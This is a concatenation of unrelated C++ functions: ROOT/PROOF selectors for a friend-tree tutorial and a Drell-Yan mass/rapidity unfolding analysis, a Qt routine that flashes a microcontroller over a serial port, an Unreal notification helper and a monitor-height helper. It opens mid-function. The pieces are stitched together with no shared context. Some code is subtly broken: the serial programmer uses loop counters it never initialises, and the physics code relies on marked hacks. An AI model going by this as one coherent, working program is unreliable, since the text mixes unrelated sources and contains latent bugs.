(TPaveStats *)hdmd->GetListOfFunctions()->FindObject("stats"); psdmd->SetOptStat(1110); c1->Modified(); //save the entry list to a Root file if one was produced if (fillList) { if (!elist) elist = dynamic_cast<TEntryList*>(fOutput->FindObject("elist")); if (elist) { Printf("Entry list 'elist' created:"); elist->Print(); TFile efile("elist.root","recreate"); elist->Write(); } else { Error("Terminate", "entry list requested but not found in output"); } } // Notify the amount of processed events if (!fInput) Info("Terminate", "processed %lld events", fProcessed); }
void progThread::run(void) { int GoodU,Utries; QByteArray Buffer; PortHandle = new QextSerialPort(); PortHandle->setPortName(port); PortHandle->setBaudRate(baud); PortHandle->setDataBits(DATA_8); PortHandle->setParity(PAR_NONE); PortHandle->setStopBits(STOP_2); PortHandle->setFlowControl(FLOW_OFF); LoadFile(); emit Status(0); if(!PortHandle->open(QIODevice::ReadWrite)) { emit Error("Could not open Serial Port"); return; } PortHandle->setDtr(0); msleep(5); PortHandle->setDtr(1); msleep(5); emit Info("Please Reset Microcontroller Now...."); PortHandle->setTimeout(0,0); while(!stop) { if((GoodU==0) && ((Utries%200)==0)) { PortHandle->setDtr(0); msleep(5); PortHandle->setDtr(1); msleep(5); } Utries++; if(PortWrRd("U",delay)) GoodU++; else GoodU=0; emit Status(GoodU*2); if(GoodU == 50) break; } if(stop) { emit Error("Programming Aborted By user"); emit Info("ERROR"); PortHandle->close(); delete PortHandle; return; } if(!PortWrStr(":0100000301FB")) { emit Error("Flash Erase Failed"); emit Info("ERROR"); PortHandle->close(); delete PortHandle; return; } emit Info("Flash Erased"); emit Status(0); for(int j=0;j<0x10000;j+=LINESIZE) { if(stop) { emit Error("Programming Aborted By user"); emit Info("ERROR"); PortHandle->close(); delete PortHandle; return; } Info(QString("0x%1").arg(j,4,16,QChar('0'))); Status(j*100/0x10000); if(PrepareIntelLine(&Buffer,j,LINESIZE)) { if(!PortWrStr(Buffer)) { emit Error("Flash Program Command Failed"); emit Info("ERROR"); PortHandle->close(); delete PortHandle; return; } } } if(!PortWrStr(":00000001FF\r\n")) { emit Error("Flash end Failed"); emit Info("ERROR"); PortHandle->close(); delete PortHandle; return; } emit Status(100); emit Info("Flash Complete!!!"); PortHandle->setDtr(0); msleep(5); PortHandle->setDtr(1); msleep(5); PortHandle->close(); delete PortHandle; }
static void DisplayErrorMessage( const FText& ErrorMessage ) { FNotificationInfo Info(ErrorMessage); Info.ExpireDuration = 5.0f; FSlateNotificationManager::Get().AddNotification(Info); }
//_____________________________________________________________________________ Int_t ProofAux::GenerateTree(const char *fnt, Long64_t ent, TString &fn) { // Generate the main tree for the 'friends' tutorial; the tree is called // 'Tmain', has 'ent' entries and is saved to file 'fnt'. // The full file path is returned in 'fn'. // Return 0 on success, -1 on error. Int_t rc = -1; // Check the filename fn = fnt; if (fn.IsNull()) { Error("GenerateTree", "file name undefined!"); return rc; } TUrl uu(fn, kTRUE); if (!strcmp(uu.GetProtocol(), "file") && !fn.BeginsWith("/")) { // Local file with relative path: create under the data directory if (!gProofServ || !(gProofServ->GetDataDir()) || strlen(gProofServ->GetDataDir()) <= 0) { Error("GenerateTree", "data directory undefined!"); return rc; } // Insert data directory fn.Insert(0, TString::Format("%s/", gProofServ->GetDataDir())); // Make sure the directory exists TString dir = gSystem->DirName(fn); if (gSystem->AccessPathName(dir, kWritePermission)) { if (gSystem->mkdir(dir, kTRUE) != 0) { Error("GenerateTree", "problems creating directory %s to store the file", dir.Data()); return rc; } } } // Create the file TDirectory* savedir = gDirectory; TFile *f = new TFile(fn, "RECREATE"); if (!f || f->IsZombie()) { Error("GenerateTree", "problems opening file %s", fn.Data()); return rc; } savedir->cd(); rc = 0; // Create the tree TTree *T = new TTree("Tmain","Main tree for tutorial friends"); T->SetDirectory(f); Int_t Run = 1; T->Branch("Run",&Run,"Run/I"); Long64_t Event = 0; T->Branch("Event",&Event,"Event/L"); Float_t x = 0., y = 0., z = 0.; T->Branch("x",&x,"x/F"); T->Branch("y",&y,"y/F"); T->Branch("z",&z,"z/F"); TRandom r; for (Long64_t i = 0; i < ent; i++) { if (i > 0 && i%1000 == 0) Run++; Event = i; x = r.Gaus(10,1); y = r.Gaus(20,2); z = r.Landau(2,1); T->Fill(); } T->Print(); f->cd(); T->Write(); T->SetDirectory(0); f->Close(); delete f; delete T; // Notify success Info("GenerateTree", "file '%s' successfully created", fn.Data()); // Add to the list TString fds(fn); if (!strcmp(uu.GetProtocol(), "file")) { if (gSystem->Getenv("LOCALDATASERVER")) { if (strcmp(TUrl(gSystem->Getenv("LOCALDATASERVER"), kTRUE).GetProtocol(), "file")) fds.Insert(0, TString::Format("%s/", gSystem->Getenv("LOCALDATASERVER"))); } else { fds.Insert(0, TString::Format("root://%s/", gSystem->HostName())); } } fMainList->Add(new TObjString(fds)); // Done return rc; }
Bool_t EventSelector_FSRUnfBBB::Process(Long64_t entry) { //Int_t trig = 0; bool isMC = true; //SHould alkways be true - we will always run it on data //FIXME do this before we find a better option double Mass_xbin2[7] = {20, 30, 45, 60, 120, 200, 1500}; // The Process() function is called for each entry in the tree (or possibly // keyed object in the case of PROOF) to be processed. The entry argument // specifies which entry in the currently loaded tree is to be processed. // It can be passed to either EventSelector_FSRUnfBBB::GetEntry() or TBranch::GetEntry() // to read either all or the required parts of the data. When processing // keyed objects with PROOF, the object is already loaded and is available // via the fObject pointer. // // This function should contain the "body" of the analysis. It can contain // simple or elaborate selection criteria, run algorithms on the data // of the event and typically fill histograms. // // The processing can be stopped by calling Abort(). // // Use fStatus to set the return value of TTree::Process(). // // The return value is currently not used. // Link to current element, if any TString filename = dataset; TPair* elemPair = 0; if (fInput && (elemPair = dynamic_cast<TPair*>(fInput->FindObject("PROOF_CurrentElement")))) { TDSetElement* current = dynamic_cast<TDSetElement*>(elemPair->Value()); if (current) { filename = current->GetFileName(); if (current->TestBit(TDSetElement::kNewRun)) { Info("Process", "entry %lld: starting new run for dataset '%s'", entry, current->GetDataSet()); } if (current->TestBit(TDSetElement::kNewPacket)) { dataset = current->GetDataSet(); ds->SetTitle(dataset); Info("Process", "entry %lld: new packet from: %s, first: %lld, last: %lld", entry, current->GetName(), current->GetFirst(), current->GetFirst()+current->GetNum()-1); } } } Int_t eventSize = fChain->GetTree()->GetEntry(entry); ++fNumberOfEvents; //normalization purposes if (dataset != "DATA") Nntuple->Fill(0.5); // compute the total size of all events fTotalDataSize += eventSize; if ( fNumberOfEvents % 100000 == 0 ) std::cout << dataset << " : " << fNumberOfEvents << std::endl; //split below by trigger path for (Int_t trig = 0; trig < 1; trig++) { //reset weights Double_t WEIGHT = 1.; Double_t FEWZ_WEIGHT = 1.; //split data mc if ( dataset == "DATA") { isMC = false; //FIXME important requirement if (trig != 0) continue; } //pick up the weight if (isMC) { if (filename.Contains("DYM1020") || filename.Contains("DYE1020")) { WEIGHT = Sigma_DY1020*FilterEff_DY1020; } else if (filename.Contains("DYM200") || filename.Contains("DYE200")) { WEIGHT = Sigma_DY200*FilterEff_DY200; } else if ((filename.Contains("DYM20") && !filename.Contains("DYM200")) || (filename.Contains("DYE20") && !filename.Contains("DYE200"))) { WEIGHT = Sigma_DY20*FilterEff_DY20; } else if (filename.Contains("DYM400") || filename.Contains("DYE400")) { WEIGHT = Sigma_DY400*FilterEff_DY400; } else if (filename.Contains("DYM500") || filename.Contains("DYE500")) { WEIGHT = Sigma_DY500*FilterEff_DY500; } else if (filename.Contains("DYM700") || filename.Contains("DYE700")) { WEIGHT = Sigma_DY700*FilterEff_DY700; } else if (filename.Contains("DYM800") || filename.Contains("DYE800")) { WEIGHT = Sigma_DY800*FilterEff_DY800; } else if (filename.Contains("DYM1000") || filename.Contains("DYE1000")) { WEIGHT = Sigma_DY1000*FilterEff_DY1000; } else if (filename.Contains("DYM1500") || filename.Contains("DYE1500")) { WEIGHT = Sigma_DY1500*FilterEff_DY1500; } else if (filename.Contains("DYM2000") || filename.Contains("DYE2000")) { WEIGHT = Sigma_DY2000*FilterEff_DY2000; }; } //isMC //FIXME just a hack to make sure samples are right // gen. mass double genMass = -1; double genRapidity = -1; double genDiMuPt = -1; int GENIndex = -1; for( int j = 0; j < GENnPair; j++ ) { if( GENMuon1_status[j] != 3 ) continue; if( GENMuon2_status[j] != 3 ) continue; genMass = GENInvMass[j]; GENIndex = j; break; } //binned in GEN mass samples if ((filename.Contains("DYM200") || filename.Contains("DYE200")) && genMass > 400) { continue; } else if (((filename.Contains("DYM20") && !filename.Contains("DYM200")) || (filename.Contains("DYE20") && !filename.Contains("DYE200"))) && genMass > 200) {continue;} else if ((filename.Contains("DYM400") || filename.Contains("DYE400")) && genMass > 500) { continue; } else if ((filename.Contains("DYM500") || filename.Contains("DYE500")) && genMass > 700) { continue; } else if ((filename.Contains("DYM700") || filename.Contains("DYE700")) && genMass > 800) { continue; } else if ((filename.Contains("DYM800") || filename.Contains("DYE800")) && genMass > 1000) { continue; } else if ((filename.Contains("DYM1000") || filename.Contains("DYE1000")) && genMass > 1500) { continue; } else if ((filename.Contains("DYM1500") || filename.Contains("DYE1500")) && genMass > 2000) { continue; } //pre FSR values genRapidity = GENRapidity[GENIndex]; genDiMuPt = sqrt((GENMuon1_Px[GENIndex]+GENMuon2_Px[GENIndex])*(GENMuon1_Px[GENIndex]+GENMuon2_Px[GENIndex])+(GENMuon1_Py[GENIndex]+GENMuon2_Py[GENIndex])*(GENMuon1_Py[GENIndex]+GENMuon2_Py[GENIndex])); //look up FEWZ weight FEWZ_WEIGHT = weight(genDiMuPt, fabs(genRapidity), genMass, true); //construction begin double GENMass = -1; double simMass = -1; int simIndex = -1; for( int j = 0; j < GENnPair; j++ ) { if( GENMuon1_status[j] == 1 && GENMuon2_status[j] == 1 ) { simIndex = j; } if( GENMuon1_status[j] == 3 && GENMuon2_status[j] == 3 ) { GENIndex = j; } } GENMass = GENInvMass[GENIndex]; simMass = GENInvMass[simIndex]; double simRapidity = GENRapidity[simIndex]; hpreFSR->Fill(GENMass, WEIGHT); hpostFSR->Fill(simMass, WEIGHT); hpreFSR_corr->Fill(GENMass, WEIGHT*FEWZ_WEIGHT); hpostFSR_corr->Fill(simMass, WEIGHT*FEWZ_WEIGHT); double val_gen = -1; double val_sim = -1; for( int j = 0; j < 6; j++ ) { if( GENMass > Mass_xbin2[j] && GENMass < Mass_xbin2[j+1] ) { int nbins; double bin_size; if( j == 5 ) { nbins = 13; bin_size = 0.2; } else { nbins = 25; bin_size = 0.1; } for( int k = 0; k < nbins; k++ ) { if( fabs(genRapidity) > k*bin_size && fabs(genRapidity) < (k+1)*bin_size ) val_gen = k + j*25; } } if( simMass > Mass_xbin2[j] && simMass < Mass_xbin2[j+1] ) { int nbins; double bin_size; if( j == 5 ) { nbins = 13; bin_size = 0.2; } else { nbins = 25; bin_size = 0.1; } for( int k = 0; k < nbins; k++ ) { if (fabs(simRapidity) > k*bin_size && fabs(simRapidity) < (k+1)*bin_size ) val_sim = k + j*25; } } } hpreFSR2->Fill(val_gen, WEIGHT); hpostFSR2->Fill(val_sim, WEIGHT); hpreFSR_corr2->Fill(val_gen, WEIGHT*FEWZ_WEIGHT); hpostFSR_corr2->Fill(val_sim, WEIGHT*FEWZ_WEIGHT); }//end split by trig path return kTRUE; }
//_____________________________________________________________________________ Bool_t ProofAux::Process(Long64_t entry) { // The Process() function is called for each entry in the tree (or possibly // keyed object in the case of PROOF) to be processed. The entry argument // specifies which entry in the currently loaded tree is to be processed. // It can be passed to either ProofAux::GetEntry() or TBranch::GetEntry() // to read either all or the required parts of the data. When processing // keyed objects with PROOF, the object is already loaded and is available // via the fObject pointer. // // This function should contain the "body" of the analysis. It can contain // simple or elaborate selection criteria, run algorithms on the data // of the event and typically fill histograms. // // The processing can be stopped by calling Abort(). // // Use fStatus to set the return value of TTree::Process(). // // The return value is currently not used. // Nothing to do if the action if not defined if (fAction < 0) { Error("Process", "action not specified!"); return kFALSE; } // Link to current element, if any TDSetElement *fCurrent = 0; TPair *elemPair = 0; if (fInput && (elemPair = dynamic_cast<TPair *>(fInput->FindObject("PROOF_CurrentElement")))) { if ((fCurrent = dynamic_cast<TDSetElement *>(elemPair->Value()))) { Info("Process", "entry %lld: file: '%s'", entry, fCurrent->GetName()); } else { Error("Process", "entry %lld: no file specified!", entry); return kFALSE; } } // Act now if (fAction == 0) { TString fnt; // Generate the TTree and save it in the specified file if (GenerateTree(fCurrent->GetName(), fNEvents, fnt) != 0) { Error("Process", "problems generating tree (%lld, %s, %lld)", entry, fCurrent->GetName(), fNEvents); return kFALSE; } // The output filename TString fnf(fnt); TString xf = gSystem->BaseName(fnf); fnf = gSystem->DirName(fnf); if (xf.Contains("tree")) { xf.ReplaceAll("tree", "friend"); } else { if (xf.EndsWith(".root")) { xf.ReplaceAll(".root", "_friend.root"); } else { xf += "_friend"; } } fnf += TString::Format("/%s", xf.Data()); // Generate the TTree friend and save it in the specified file if (GenerateFriend(fnt, fnf) != 0) { Error("Process", "problems generating friend tree for %s (%s)", fCurrent->GetName(), fnt.Data()); return kFALSE; } } else if (fAction == 1) { TString fnt; // Generate the TTree and save it in the specified file if (GenerateTree(fCurrent->GetName(), fNEvents, fnt) != 0) { Error("Process", "problems generating tree (%lld, %s, %lld)", entry, fCurrent->GetName(), fNEvents); return kFALSE; } // Generate the TTree friend and save it in the specified file if (GenerateFriend(fnt) != 0) { Error("Process", "problems generating friend tree for %s (%s)", fCurrent->GetName(), fnt.Data()); return kFALSE; } } else { // Unknown action Warning("Process", "do not know how to process action %d - do nothing", fAction); return kFALSE; } return kTRUE; }
const int DisplayManager::Height(HMONITOR monitor) { MONITORINFO mInfo = Info(monitor); RECT mDims = mInfo.rcMonitor; return mDims.bottom - mDims.top; }